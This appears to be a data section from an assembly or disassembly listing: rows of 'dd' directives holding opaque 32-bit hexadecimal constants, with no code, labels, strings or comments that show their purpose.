dd 60C8691Ch, 9605E8BDh, 0FD019F37h, 0F06795EFh, 6AAC5632h
dd 7CEC1B5h, 0BF3E2A5Dh, 3D684845h, 0A9FCD8BBh, 0C98559A0h
dd 5C7C6D4h, 4ABE0B54h, 69621180h, 0C2D67F3h, 0C9B1624Bh
dd 7515E25Dh, 0D50E0974h, 0A4220817h, 3460BDCh, 127F710Bh
dd 0FA147F09h, 680452FEh, 22807721h, 74911482h, 0F87E2724h
dd 0AA530513h, 4C738CA8h, 4D20ABC2h, 8F2AF797h, 0EB4912B1h
dd 975F8928h, 0AC4CBC5Fh, 0E8C11305h, 11AF0818h, 92D3210Ch
dd 8AD451F5h, 9C67BA2Fh, 81C2C56Fh, 0BE2FE9E5h, 3F95017h
dd 0AE4DA024h, 7F72C43h, 0D3505203h, 3730BFF0h, 0E46BE6B2h
dd 0F45EB7FEh, 8EE86CFh, 0B4BD040Ah, 0AB77D840h, 0CE820B7Dh
dd 1051AB8h, 0E2DFh, 2A47C9E5h, 0D1410906h, 0F05D49E1h
dd 2C6CEC2Dh, 7BC3B17h, 51ABEF1h, 0E800BB0Bh, 44F80540h
dd 0FB024CB9h, 0A2DDBA20h, 0EA92DFEFh, 4A01FAFDh, 10A0D8F9h
dd 7345E6Bh, 481BED72h, 2645C610h, 0BE59629h, 0ED59A154h
dd 0B60B4824h, 330CA8Ch, 0CA7BBDABh, 4B17585Eh, 0CAFD9028h
dd 9D7920B1h, 340BFD90h, 57F153AEh, 2D2F9102h, 8100B359h
dd 6D1D79E2h, 0D2F72D0Ah, 49CA7F98h, 61034A1Dh, 6E4B81BDh
dd 47E9FF0Bh, 0BE020438h, 20CF7D91h, 0C7004362h, 31E97837h
dd 54219061h, 0B9C4273Ch, 7D5638E0h, 9F12992h, 997D24FEh
dd 5F7BEA06h, 403996F2h, 5148BF60h, 0C1251F4Ah, 590680E7h
dd 2FBA6B0Bh, 0A952AEE9h, 0A504AB98h, 0CE31964Eh, 0AFB1BA84h
dd 0DDE32947h, 42283044h, 191E3AC4h, 83EA66DEh, 20394B48h
dd 7BB1803Dh, 0F2DB9F95h, 0EC0BA2A0h, 0FA491848h, 32F52084h
dd 9B5E5F76h, 0B0B9F7C0h, 551A2F09h, 68FF4DE2h, 2FC328EBh
dd 6C620CD5h, 0CFD7E0FDh, 0A7B0B70Ah, 0F2835F67h, 8201F58Ah
dd 32EE875Ch, 8A0B92EBh, 0C5DB82F6h, 7A034136h, 0C7560F30h
dd 0D0FE08E2h, 0C8CEE93Ch, 0F4D36881h, 0B16EF5CDh, 25B83E4Bh
dd 0C9703BADh, 0FC11330Ah, 25DDA4CDh, 267FF34Ah, 958411Dh
dd 2A1B6463h, 6109D4D6h, 8B34590Eh, 2624D2F4h, 4FF881C9h
dd 0AF882AE1h, 5A6C40E5h, 2CC38009h, 9C048766h, 4BACD304h
dd 92C6562Eh, 54250401h, 27EFA33Dh, 7CEE2C14h, 0F3C94FEBh
dd 9D8D9F42h, 0CB072BBCh, 0CF21283h, 8E4C058h, 80760306h
dd 0C47C7373h, 50E22825h, 0BE94D286h, 0BE682890h, 0B52DA86Ch
dd 0ED499D77h, 58DD97A6h, 1EEA6485h, 17D79A4Fh, 0E0C14583h
dd 0FE317825h, 0A25D4BE6h, 1029F5Fh, 6BB135E9h, 0EF961DF9h
dd 5DE7ED1Ch, 0D598C3E5h, 4071E919h, 0EE5E2909h, 611A60EEh
dd 16293F11h, 29810E31h, 832E9F5h, 0BC3AC865h, 0F7DCB1A0h
dd 83E6276Ah, 0DB69552Ah, 63D309A9h, 25F2CFD1h, 9DCA7CBDh
dd 6CDAC308h, 17ED2624h, 0F0459974h, 0A097BF7Eh, 2E6D499Fh
dd 61C79845h, 0CD890D4Dh, 0D6A33E59h, 6246E909h, 0B6E7957h
dd 0A007C51h, 322A06F4h, 5C186C98h, 0E20CA21Ah, 0FE3B06EDh
dd 4DAF721h, 0D9AFA3A0h, 0D0039F27h, 2FA39F16h, 1DBA623Eh
dd 5373FBE1h, 98B9E38Ch, 4CCE4A52h, 0D54B7D45h, 13DE60FCh
dd 5D4AAFCBh, 203DFECFh, 5CFBB5F2h, 0C5DD7EA5h, 7520E4C4h
dd 0C182229Eh, 602A19DFh, 8003EA40h, 0C2BDFE29h, 2F3D7036h
dd 0E3A8204Eh, 3B8310A6h, 8406254Ah, 8FAF28BEh, 0E0022794h
dd 0FBE56E8h, 6E3C2755h, 44B6BB81h, 0C630819Eh, 11BF3928h
dd 0BA57006Eh, 6DA2097Dh, 1EA8315h, 0A4C202A6h, 807F6142h
dd 645392A1h, 0D629345Ch, 5A080542h, 38D0FF5Bh, 44786806h
dd 64BD341Dh, 8E6C2589h, 0EF7334C6h, 58B5F497h, 5782F9BDh
dd 0D0CA8904h, 0F5814D41h, 2F5A8F3Eh, 42D623h, 0DE3FFE35h
dd 0C7162161h, 63AACDE9h, 38D15E01h, 396225F0h, 540713CEh
dd 71FAAE44h, 394FF34h, 6885B1E2h, 7B5EF05h, 0EC7DEF2Bh
dd 0E2E81955h, 77D86BB9h, 0E45A5DD5h, 51696809h, 54492751h
dd 98FD4F15h, 64BD0DA1h, 1C7DD695h, 0CB9F6079h, 5D959A7Ah
dd 68018247h, 44D95532h, 0F4E66471h, 4780834Dh, 7CDA103Ch
dd 584890D8h, 4ECE4C4Eh, 68C580F8h, 1BB3AF15h, 80EBE516h
dd 10A0BFEAh, 811D5400h, 0BD325CF7h, 400CC141h, 630A0Dh
dd 0A0E70737h, 83DF16D4h, 2443D3D1h, 0C6B259A2h, 0FC0E7298h
dd 0C1C8844Dh, 0A25156C3h, 0FCCB8A30h, 6008A2EBh, 0BDE4D705h
dd 162D4910h, 0C9A209FEh, 62BBC5D7h, 1A8BED81h, 38D4D866h
dd 3A1713ADh, 9C1774AAh, 0CB406E61h, 0B6123DBBh, 0DD317C84h
dd 16C9F95Bh, 0A9620426h, 1B53703Eh, 1C60462Dh, 78E1C3EBh
dd 0C0012BE2h, 2BC50E6Ch, 524E4972h, 0F597EA2Fh, 16C7643Fh
dd 52A0350Eh, 0F22D514Fh, 36BC5A01h, 6BE94048h, 0B1F2176Ah
dd 7A4A59A9h, 0CAF8AA5h, 0E9849654h, 34D3915Dh, 94BFD5EFh
dd 58A1C0D3h, 8B61FA88h, 0FEE88CC3h, 0F9C5713Eh, 14CD3EDBh
dd 979E9F01h, 89F4F96Bh, 2730565Bh, 254A15F5h, 5399274Ch
dd 5B81C818h, 74514C5Eh, 96AB80Bh, 0B19E005Dh, 120B9728h
dd 0FA95E943h, 1C51949h, 37247174h, 95D6F670h, 0A7E6E7D2h
dd 0E5441816h, 0AF4048A8h, 0EDA3C1C2h, 0F4AC6D4Ch, 0C5B7E821h
dd 575AF1Fh, 0BFBC605Ch, 665BBA07h, 0D0B799Ah, 0B5F075E6h
dd 572DFF9Eh, 20B955B0h, 939F1895h, 67BA8009h, 2DE62914h
dd 0BE814FBAh, 72DCEF87h, 4ACA52Eh, 0AAFECE53h, 8DA23BECh
dd 8AA28ED0h, 0A569D8F9h, 12BA1F7Fh, 1AB6AF0Fh, 0CD897BD4h
dd 4142B3A9h, 12CE4E5Fh, 0B828D168h, 4A6CC071h, 5CF72C17h
dd 550010DEh, 296FAD1Eh, 9759CEh, 4A1CCAB6h, 0EA46505Bh
dd 7C072FE1h, 812AFAFEh, 52840400h, 0F680B0B6h, 0B3531D93h
dd 0FE38187h, 92E56DE9h, 0DA815CC0h, 0CC6A7A8Dh, 0BD650FFDh
dd 9709B1B2h, 0FC572B5Ch, 0E67E5A4Bh, 9812FA97h, 4B6ECFAFh
dd 68418CEEh, 0E9A9DE62h, 9034D0E8h, 0D54209F6h, 0B60B36EEh
dd 51AD88DEh, 0C06E64C0h, 0B3E97B1Ah, 5A8DC04Dh, 72AA8DA0h
dd 0B8504A85h, 9C5B72AFh, 0DA685402h, 6C4E754Ah, 1EBC9B30h
dd 0E637C580h, 242298EDh, 52DAF9ECh, 9C3178FFh, 82FEC935h
dd 0D591CDC2h, 527CC26Eh, 0BFA7AB54h, 0BF24FA97h, 3EA35F41h
dd 47A41E85h, 2E131F7Ch, 0C9B44A74h, 0DC4ACC41h, 5989C1B7h
dd 607CFD26h, 0F681C937h, 2A0994B1h, 2F02939h, 0DD04F1D1h
dd 0E91A0E34h, 8720CF9Dh, 468B4A7Fh, 316827FAh, 2EB4EAC9h
dd 305CC902h, 4879FDC3h, 0A8E6F4A5h, 2661F882h, 166A1A9Dh
dd 0F6FF80B2h, 0E24A88D4h, 6CDE8BBFh, 563E6409h, 0C15D7CDAh
dd 0BA9B7516h, 843E61D9h, 2D58B00Ah, 135C7C9Dh, 6683AF05h
dd 4F71D85Dh, 29301F92h, 0A00768E8h, 97FFF9Bh, 0DBF76874h
dd 8CF8780h, 2927647Bh, 13A67BD8h, 1AC4BF2Dh, 0CBFE0C94h
dd 4204966Ch, 8CBFABEAh, 5540B8CCh, 6DE70781h, 0B2219948h
dd 0ED52D17Ah, 0DF43C502h, 5DD32960h, 0B0D4592h, 9F6D4199h
dd 39E22EA4h, 9C50551Eh, 83E8E70Ah, 6D13378Ch, 80EA2959h
dd 4BC4EC9h, 5EE4B34Ch, 0BD2736B2h, 8C79A70Bh, 0BB11E56Fh
dd 98344E0h, 872FE47Dh, 81D06A5Dh, 62348DD4h, 0B267B47Fh
dd 9D2778B5h, 0BAC1E976h, 3352FEF8h, 0B98F8253h, 0ED040349h
dd 0FE75B5C0h, 3FC7C548h, 0B35793D0h, 59CA5321h, 0F2EC617Ah
dd 0F2147EE9h, 20ED1BE0h, 0E5C08838h, 5512FC05h, 0A0D8AAFEh
dd 4EE695BCh, 0B1CE020h
dd 0F96F1DBAh, 0AC588005h, 9BAA4A21h, 0E7817CA5h, 0FE21C57Fh
dd 0BD5FC2A7h, 0F432843Ah, 15A109B8h, 74F0341h, 0C8A843Ah
dd 0EEA1C282h, 5083B75Bh, 0C880CFB4h, 0EA3CB2F2h, 5D364CEAh
dd 342D5636h, 0D10A1398h, 9347A40Bh, 622EB002h, 68D0816Fh
dd 0F06B8A39h, 365C1339h, 5F833E71h, 2EA62401h, 3A3CC57Bh
dd 0CEC1AB3Fh, 25937377h, 0AFB065DDh, 6A8BB959h, 362231EAh
dd 0E42CB251h, 9D5CD6FCh, 0A22D82C6h, 9C1C7DF1h, 0DAD0D127h
dd 1D5C0F54h, 0F26B71DCh, 3E89ABC1h, 0C96867EAh, 62859C03h
dd 2661F648h, 77A763B9h, 0FCF6E72Fh, 4D562FA8h, 6CF4AF2Ch
dd 84FA4544h, 2FE8EFE8h, 653A7EE3h, 50C705FDh, 68A33507h
dd 0A84D0B4Bh, 74571862h, 80D3545Dh, 3074F5AFh, 23970B5Dh
dd 54F4C29h, 6F68E0FDh, 4334AB69h, 78ADFF1Ch, 62619E2Eh
dd 5509CFBCh, 0FD298F18h, 915E61FAh, 4BE737D8h, 7EE23963h
dd 2CE230ECh, 0EC54214h, 1C2F1968h, 8F38FF25h, 0A0004EDh
dd 0F50147F4h, 0D2A30EE9h, 2AC7E8DDh, 2918BD95h, 0DCFE5BDEh
dd 8F2D9190h, 0C55CF766h, 0EE142E68h, 0B21218F6h, 441E23B8h
dd 873E77D0h, 0D1F7CD18h, 69F9E908h, 554ECAh, 35FC05FBh
dd 93D25B5h, 14A6A665h, 21354102h, 4572F74Ah, 0D93B5777h
dd 5E33A44h, 4B4FC50Bh, 82FBEC01h, 2470A640h, 4A347090h
dd 9884EF55h, 5E160816h, 38EBE513h, 1100E6DDh, 9605540Ah
dd 9D10CAE9h, 0D15F3CB8h, 106CE54Ch, 774F9FE3h, 8F828980h
dd 4EFF2AF8h, 9CBC20A3h, 11585A2Eh, 0D7A6973Ch, 1351DFE7h
dd 0F53CE87Fh, 0F36F9221h, 90E1BB04h, 6E71CA01h, 0EB0A9104h
dd 2E1D3FB7h, 800DE59Ah, 59012C85h, 0D9C5973Ah, 0DC172249h
dd 4853DFC0h, 2C7B9FEDh, 0E9185604h, 0F239074Eh, 2E803E2h
dd 0A8B1BB33h, 0DE89CF8Ah, 0DE690D5h, 505E80B0h, 0D7E88925h
dd 0F1639805h, 0FAD52FD9h, 0BD4857EFh, 0B3F8C4FEh, 54B15C09h
dd 3ED10753h, 54EA0858h, 1D6E0A34h, 5F3240C0h, 20FD639Ah
dd 114E4DD3h, 0EA01A871h, 91259C61h, 0B14C3AD5h, 3EBF4150h
dd 0D4D2423Ch, 1F369306h, 580F5A37h, 647ACC5Ch, 37EAFD44h
dd 7137467h, 0BF107DBAh, 0F8D7317Fh, 0A33D5E20h, 0C23E2FFAh
dd 0F0EEF781h, 18EA2C35h, 172C93EAh, 0DF4D1F8Ch, 0F1041AB6h
dd 0F8A9D9EBh, 1CC0F36Dh, 506AB368h, 2959013h, 67271EC9h
dd 8957413Ch, 0E9CC77F3h, 0F3C8C89Dh, 2CD82854h, 0EDC9C483h
dd 4F210C6h, 4F486319h, 12DAD4BBh, 0CDA20108h, 2074936Dh
dd 46903748h, 2FED2A72h, 62534EC2h, 0C6CCE84Eh, 0AD571EA0h
dd 0E78ACB3Ch, 6A4A9052h, 0BE7074BAh, 68B95E0h, 81178644h
dd 0A6760CF1h, 75C068B5h, 4D98970Bh, 309D3314h, 10BC7A0h
dd 0E6BF0563h, 6A2A2343h, 442532F8h, 0E961565Eh, 2C6AF167h
dd 88A83190h, 0F882AC19h, 5080209Bh, 808C053Eh, 35402526h
dd 17E6A6A1h, 8C689BBh, 192C4859h, 0C07BD303h, 0D0AFDA0Ch
dd 15BD05A6h, 0FC164E6Dh, 24573F4Ch, 0CB131DEh, 0B96DBD8Ah
dd 0CD395B0Bh, 0C09AB882h, 38F1A6A0h, 828C163h, 0E0978709h
dd 9703E979h, 6E0CAE22h, 0E950E95Ch, 0F88D4F3Dh, 7968A0EBh
dd 7F9CBD49h, 19BAD148h, 0EAD14E5Dh, 1FEBB4C4h, 0AFD621B6h
dd 0EE81C3FEh, 86FFDD78h, 14E00014h, 0E974761Fh, 40D6A779h
dd 9665C71Eh, 0DAE91F6Bh, 0FA5B7F18h, 35FC9729h, 18769747h
dd 0A2EEBE44h, 0E95105DBh, 0C8BFD638h, 0A7512056h, 1DFF2A59h
dd 78C281D5h, 0E77B2835h, 8821CB6h, 0BB00FBF1h, 65934F76h
dd 38519729h, 0D153D2C2h, 208288BBh, 0C8283326h, 0BE0E8A60h
dd 503D5BAFh, 17C58F03h, 0AC10A66Ch, 67090C52h, 252D0C45h
dd 54D05F15h, 0F26C551Ch, 14476885h, 10E7C860h, 0E90A1354h
dd 1118352h, 0D7D8B8C5h, 3F7214E5h, 0EB2EE984h, 9D8EB314h
dd 7DAAE2D2h, 15896452h, 0C2C9209Dh, 7BA9ED02h, 0B16B4BFCh
dd 0C3F27ECCh, 684F0B96h, 2E5928E9h, 5B847CC1h, 12090AA4h
dd 0AF9FC51Dh, 0EB83CC02h, 505E7701h, 2CC1FC49h, 6004011Ah
dd 7B01D678h, 0DC2F8BFDh, 7FBBE700h, 7E2F2873h, 91CD131h
dd 655D489Bh, 10C54A40h, 0B7B9022Dh, 4347516Dh, 0F27780ABh
dd 6CE91772h, 0B75EA45Bh, 0A91034Bh, 0BA045839h, 4C1CF186h
dd 4D7D7BABh, 0CE4E12E0h, 1EB44859h, 55D323D5h, 0A64CA30Eh
dd 90C2265h, 0F1592E51h, 0B9209EF8h, 71B700E7h, 0FA30B0B2h
dd 0C24BFE5Bh, 0FAD738E0h, 2DE7E09Eh, 0DFC9F1E9h, 0B621FCC6h
dd 55F0255Bh, 682F0C78h, 0ED7AD6F7h, 0E5071F2h, 183DCCB4h
dd 4D058055h, 250A604Eh, 0F82E7907h, 3DC730E9h, 7331ED53h
dd 2CBE0E5Ch, 0C20955FDh, 60815618h, 23F3BE8h, 0C1B8E912h
dd 42B44A00h, 0E647F480h, 0F6DD1EECh, 89E40CDCh, 0E9138D10h
dd 6241D3D7h, 757E21C7h, 0AA07408Ch, 950BC577h, 77B0771Ah
dd 2C795BAEh, 6F36EC93h, 379FDBB5h, 6174C2D0h, 8F3F957h
dd 0D626E293h, 48301E05h, 39F7ED0h, 0FD025E97h, 5D0840A4h
dd 0AC79D197h, 0AA44137Ch, 443AE79Dh, 168E980Fh, 0DA090482h
dd 6ED2855h, 539A099Bh, 0C177E5B1h, 122F863Fh, 5B2CBA91h
dd 0FDDDB2DDh, 3E80A421h, 3C4750BBh, 87A2C501h, 0EC580806h
dd 0CE394609h, 0D780DD55h, 733731ABh, 61A92D0Fh, 33E98260h
dd 0BA65FDA1h, 4197CA27h, 0A40510E4h, 2C90882Ch, 0E29591F8h
dd 0D0D1D64Fh, 0E19CB310h, 6EB5044h, 1EA82002h, 85A0855Fh
dd 5367B789h, 8509030h, 263A4C23h, 5F1BDC1Ch, 1822EC2Dh
dd 0DBD84E55h, 0F498C12Fh, 3176A753h, 3879B008h, 5A66F409h
dd 888C2501h, 9C2229E5h, 5E9EB02h, 0A11977E1h, 0E0857AD5h
dd 93BAB6ABh, 14355501h, 0F43B2B30h, 475F9F7Dh, 0AD077EACh
dd 0C579F405h, 9CB924Ah, 0C6138554h, 8EBEA6C4h, 20BA581Fh
dd 0C669047h, 4A113E9Fh, 693F3778h, 0ADE90CE1h, 608852B3h
dd 5B58D2DCh, 0AA3BF580h, 510289C0h, 1F380F6h, 5AD58659h
dd 37F1FC52h, 0DDE00E5Ah, 70B05066h, 4AC57685h, 510ED58h
dd 0CB4BE9DCh, 685529D0h, 31A18F1h, 0A763BA6Bh, 0D96D5981h
dd 0E4D8FA93h, 5829CB85h, 141E2204h, 0A700044h, 22B96293h
dd 6E72270Fh, 0F181117Eh, 1F136C8Fh, 2DE9CEE4h, 0E7121C88h
dd 3E857C55h, 21324113h, 0AC8D93AAh, 20BC68Fh, 96ADFE7Ch
dd 80F8C121h, 3CD42F3h, 552D905Eh, 0C3BA1D16h, 0D180E57Bh
dd 208A90EBh, 4590977Bh, 0ECC03809h, 0F9538405h, 0E1880600h
dd 245B6FE9h, 7E645BEh, 4A88CE44h, 4AC84F34h, 9EB6486Ch
dd 0F8AF6A5h, 290FAFEDh, 0E9EC0156h, 0B640627h, 0FEC403B3h
dd 0BFCB80C3h, 0DAD9E399h, 62C8AC3h, 5B059B8Dh, 0E9F58504h
dd 9BD0DF32h, 8538DD19h, 0BAE56EC3h, 59C2FC44h, 0BEF20E98h
dd 68597241h, 57C21A6Dh, 0E9C2595Ch, 75EDCA5Ch, 4F5EE35Ch
dd 0AFC9535Ch, 9F29D1C8h, 8E06068Bh, 7D440BB0h, 80FA0D28h
dd 0F5D5F7C2h, 8BA97808h, 0A5D45686h, 0DE2AD982h, 0AA0F215Ah
dd 64F4B13Eh, 0DE146A66h, 0E3093D05h, 6C82FF10h, 0A0BBF0C1h
dd 0BD4FF1A5h, 0D007455Ah, 285A042Ch, 12AAB28Eh, 89D3E2E4h
dd 2DA140DFh, 0CD1E126Eh, 0DD10BF06h, 0EC585007h, 0E340FA4Eh
dd 1368C8BEh, 0DD1ABF31h, 61C0F355h, 62699AE9h, 48B90BB3h
dd 0AC2AFE4Bh, 0AEE9C157h, 64B73BA8h, 56E6800Bh, 0AE1CD8F4h
dd 0CAAFFE12h, 0F330020Ah, 0DC7BCAE9h, 93D989F2h, 0EB6F04FEh
dd 0B57F78C8h, 0A25A165Ch
dd 0FDDA1A08h, 76BFC466h, 63BC8C39h, 62A681Ah, 15987F2Dh
dd 15A2AE5Eh, 93D61C05h, 58F0EE32h, 0AC6C16FCh, 0C490BE41h
dd 5A53E942h, 0C153E823h, 7AC25FD8h, 3F8132BCh, 1E94B39h
dd 1AF66A56h, 0D3AD5F3Dh, 0E1686107h, 3F3B7621h, 0AAA210E0h
dd 0CDAB00D4h, 61741EC4h, 3C2A0C1Ch, 0F445E138h, 0ED04B4F5h
dd 0EF21887Fh, 0E635CFE9h, 18490555h, 70C3294Dh, 0FCBF537Dh
dd 6F5C59D2h, 49D2F831h, 68088E63h, 923E348Eh, 43A4F36Eh
dd 0AB25167Ch, 0BE950101h, 6E598D3Ch, 50EBF916h, 15580B22h
dd 6A09EF02h, 0E943448Ah, 42081E41h, 0CDA390B4h, 6B101CE4h
dd 4B48BA67h, 6CFB8CDEh, 6E5E6929h, 5B64D6D8h, 100EE649h
dd 2913B961h, 0C400E2CDh, 0E1F34E72h, 0B6D02779h, 29FE79CAh
dd 0B576E205h, 52B81FC0h, 7B930A54h, 1D0603C7h, 1336AC31h
dd 201554C5h, 0E84B6C04h, 0ECE9AA0Eh, 531CC2B4h, 0C1DDF722h
dd 0BB00173Dh, 453DF34Ah, 0B28D1507h, 7A2C4FEBh, 73E5B587h
dd 5FF6E389h, 1B682398h, 93FD6CFFh, 933E00EEh, 0E96A8B4Ah
dd 9796F120h, 1E8EB763h, 19470D0Bh, 5FEDE6Dh, 8063CE1Eh
dd 0B0178D96h, 0E104217Ch, 38D43ECDh, 0AE0B9CFCh, 0D0B70Bh
dd 668A9C02h, 0F0E4E9A8h, 0C15F6F43h, 0AAF3F525h, 291289B6h
dd 3FDD09DEh, 0F1985B14h, 0AB97014Bh, 2501F069h, 1BF1D16Ch
dd 0BF8E864Fh, 0A1C6B26Fh, 0F6F85E96h, 0BE560D39h, 20DA43EBh
dd 517FDF63h, 2CE5035Ah, 0A9FB0804h, 2DE84CF2h, 55E84296h
dd 2BBF7DBh, 0D845E902h, 9022FFFEh, 0D6095DFBh, 970500D5h
dd 552AD531h, 9F0B2090h, 782CA96Ah, 0DA11202Bh, 68E3D00Fh
dd 49349354h, 0D8F6B107h, 990E0865h, 38FF36FEh, 48C0247h
dd 5E3C05Ch, 748BAA50h, 9079B685h, 69B551DBh, 1EBCBB0h
dd 0D3605057h, 0DD0E9720h, 0A8E6EF8Fh, 50BDE10Dh, 0D16EF3A5h
dd 121B8163h, 0A749F4EEh, 0E9C1C17Eh, 0DDEBA213h, 6AEB69AFh
dd 493AACAh, 12AD8303h, 0E173FA6h, 3361BB49h, 297960F6h
dd 0F0398DD0h, 1E5FC22Fh, 731C20CBh, 27B67A95h, 5457455h
dd 0BBBD803Dh, 0BE355F73h, 0E90BC2BFh, 3B52F428h, 7D0A5E1Dh
dd 0F0DBF86Fh, 0D8C082C7h, 0BAA123B3h, 2BC0F184h, 0F7AB4B12h
dd 765CCD7Eh, 48BF7DDCh, 2C056314h, 85183263h, 0E217AEF2h
dd 0B93C3CFBh, 0A44C133Eh, 1718E431h, 0B8CB010Dh, 0D1C3502Bh
dd 0B82BA95h, 392ABF66h, 7752DA07h, 0B96D87BAh, 87FD38C3h
dd 0A5BE61Dh, 56CF87Ch, 9F03E220h, 6069585Ch, 83BDFB1Bh
dd 0F6E1999Eh, 0D61FDE5Eh, 25C2466Dh, 95D7D20Ah, 0E29923Fh
dd 1250D349h, 44FAB7B4h, 84EAC09Ch, 0AA63854Ah, 5B0434CFh
dd 9515E955h, 0E3C1AF5Bh, 0C3125D21h, 0DA1CEB55h, 32A077ACh
dd 21514DF7h, 90C6F60h, 5036547Dh, 0FA8ACA4Fh, 313231ECh
dd 56F0B96h, 0E7A7E3BCh, 4ADF599Dh, 0B57B77BBh, 0DF628BA5h
dd 1A55989Ch, 14A82A8Fh, 6D488949h, 3A625002h, 0C2DF2136h
dd 0D13948D8h, 65102E7Eh, 4B6610ACh, 1232CFFEh, 0A0430CABh
dd 0A253E1BDh, 362F7D4Dh, 0D6530892h, 0F84E5B28h, 0CC2E5E03h
dd 4565FFEh, 0ABE1F66Dh, 4F874988h, 0FAB6CC46h, 1AD63049h
dd 6238AFE1h, 4345102h, 0AF585BDDh, 0B3C37B34h, 3AD4DDE9h
dd 7F688BFBh, 7F40293Fh, 5C3C8B27h, 0C38454CBh, 0C4ED1B2Fh
dd 0C0BB05F5h, 102AF4Dh, 0D35CECC8h, 0E96C6018h, 0C2717F0Bh
dd 25060BBFh, 9CBA52B1h, 0AC408B35h, 0A46D945Ah, 0EC8225F0h
dd 1955C131h, 0B920894Eh, 0E9531657h, 0B49D813Ch, 160E6FA4h
dd 25D40894h, 0D7E9FB01h, 0D2CF64E5h, 558AE095h, 6888C2CFh
dd 83A274DFh, 3A5F5B26h, 2BD00C72h, 4B2100BEh, 86B80A11h
dd 64588A77h, 0E7082FA3h, 78AF829Bh, 1ADF30ACh, 0AEACC0F5h
dd 2BE69FFEh, 0C9BB444Ah, 72C43E83h, 0D77DBCAEh, 0BA9362A2h
dd 58014383h, 151BA03Fh, 0C3A88C43h, 0F3BFFEA9h, 3D5A1FE2h
dd 27FC9AADh, 3228B5C6h, 88724C8Ah, 5BB2A4D7h, 176689B0h
dd 21645268h, 0F054B58Dh, 0F50980CDh, 0D9EB8896h, 720A0882h
dd 0A4397C89h, 27FAF3FFh, 0C74AC615h, 8698BA00h, 4553552Bh
dd 32330752h, 1E6C642Eh, 56444103h, 4C495099h, 547E4E0Dh
dd 0AAA4C71h, 0E9C20115h, 1D28FC4Eh, 0AAA18768h, 0DEADA107h
dd 7DC32AFDh, 0A31521A2h, 42A26D1Dh, 0A4B81199h, 28088F21h
dd 848590A5h, 7B48A61Bh, 71228444h, 0C2D58620h, 10C43EADh
dd 4F09F200h, 8C4A3348h, 8D768B00h, 0A6B4C9CEh, 0D3820023h
dd 13C6AFC4h, 602EF04h, 48314651h, 8C2A4096h, 71A700EDh
dd 77CBAECFh, 0C3032FDDh, 0A470E568h, 7650E8B7h, 17DB0701h
dd 60193EDEh, 0CACD8A41h, 83BCA900h, 2EFBC6D1h, 9CBB3B5Dh
dd 0B1EC0480h, 0EFD9BD4h, 4192C830h, 0BD709198h, 0E093A9E1h
dd 0DC0039B4h, 20C50BF8h, 0BC83ACh, 16541F26h, 0A2E8D501h
dd 2B004773h, 59464DC4h, 30927920h, 1C17164Ch, 0DC00F415h
dd 8D4F88DDh, 4ED08Ah, 3C48163Eh, 0ECAE91A9h, 0EDD6EB00h
dd 6E322A2Dh, 3980259h, 0A92C0499h, 0DE00BE78h, 1C051A3Dh
dd 4A5F78h, 8BA0B761h, 0CEE3F4A2h, 0E558h, 0DACBFE0Ch
dd 71C3Bh, 475C7B1Eh, 899EB95Eh, 0D902A07Fh, 0FF45E4C4h
dd 61A8AEC9h, 17C78735h, 1EF7A8C3h, 1474FCB6h, 0AA591352h
dd 60788E00h, 3BDE670h, 0E500ECF2h, 0FA1DBFF8h, 1FAAE3E2h
dd 2D5EAEDh, 0E05D282Fh, 1121C281h, 10F4D84Eh, 44A37B18h
dd 14D879CBh, 0F7C1AABFh, 30455280h, 84009347h, 0C0D7866Fh
dd 2C9DABh, 0A8BDDA79h, 0EAFF18BFh, 43540100h, 8295452Eh
dd 0EE8D3F6Dh, 0CACE7298h, 3040DE78h, 41390067h, 732D2AEAh
dd 3BC0CA50h, 698AAB78h, 7121009Eh, 7E159B66h, 23026713h
dd 0F61BA7EAh, 0F4AC496Ah, 0FFEB8A50h, 708000BAh, 0B363D359h
dd 3E918FA4h, 54406200h, 6221C7Ch, 6FA583B2h, 75002A41h
dd 2DF81FBEh, 9273F60h, 0B3A3E228h, 0A2A93401h, 0D93EF0B5h
dd 0D3A12600h, 391C34B0h, 8E7B009Ch, 7E968155h, 0A9096E57h
dd 88C1AEh, 9E93F992h, 0B66009Dh, 334B6C44h, 8403BD56h
dd 7EB4FAD1h, 16078D2h, 0C4915C7Dh, 6B876EACh, 0F3B0B60Ah
dd 0B1639C40h, 75DB0EA6h, 3300D238h, 5B739405h, 765EB704h
dd 57815089h, 0C32042BFh, 0C8E901B6h, 666BB1B0h, 6CDBC0B2h
dd 0C0E0B52Dh, 306D820h, 0E7E91F78h, 0C800633Bh, 0CB5BBC66h
dd 98ED0E09h, 93FA9Fh, 3A41E2ABh, 5047144Dh, 850052F4h
dd 884AC792h, 1F38DFh, 212606FEh, 5CF1FC18h, 0C5258432h
dd 0FA66445Ah, 0DDC624DBh, 408C4A76h, 8290A5B2h, 0BF167C90h
dd 1E028398h, 44DAC3D8h, 5D7A07A2h, 0F2C96848h, 1F40CD4Dh
dd 0B53B953h, 1471E91h, 0D100FBEAh, 0FCFB2CAh, 2EE58258h
dd 282730h, 0B5D6A36Eh, 0CD0064EAh, 0DE7EB762h, 0C21EEB9h
dd 72EC1909h, 91007F40h, 0E457FCD8h, 1421A3Ch, 0BB160ADFh
dd 75435F77h, 8041C5A5h, 8D8A5080h, 0D4F5C2h, 0F14ACB09h
dd 5B9680CEh, 0CFBCEC00h, 587B5389h, 525901D3h, 3DFE4431h
dd 43CB407Fh, 2270273Ch, 120D4A00h, 0A778DF17h, 1AE500F2h
dd 8491354Dh, 1D006350h, 0E2A97588h, 19BC878Eh, 1074F932h
dd 4A53114h, 0AAC5ADh, 806982Bh, 905A61EBh, 675FEDC2h
dd 4F5681C2h, 0C9104926h, 50D3479Eh, 0DA572243h, 4E020C98h
dd 58486081h, 29B26807h, 6238002Ch, 21675475h, 0B598AB7Ch
dd 0B07B8202h, 4165E572h
dd 1681AA2Dh, 276F5FE3h, 0EC97E136h, 130128E2h, 67F2DB34h
dd 6F303253h, 2CE8A4h, 0B6A3AAC4h, 0A0B8DF7Dh, 0AE68A13Bh
dd 803A93F1h, 60657A9Bh, 627527h, 7B7674Ah, 6CDC7B14h
dd 13CDED00h, 737A1BB2h, 0B3D41D0Dh, 129D3BBh, 3911A6CFh
dd 0F00D6DAh, 34494Eh, 798E894Bh, 0BACFC890h, 1205D102h
dd 0E04114FDh, 596330Dh, 364B4C0Fh, 78F3004Dh, 0B8CDCA8Fh
dd 8012F90h, 2E7413F3h, 4B20CBF8h, 0B66407FEh, 3E2C1106h
dd 0B514CEE2h, 2A4595A3h, 0C997F2B8h, 743EF800h, 248F3C62h
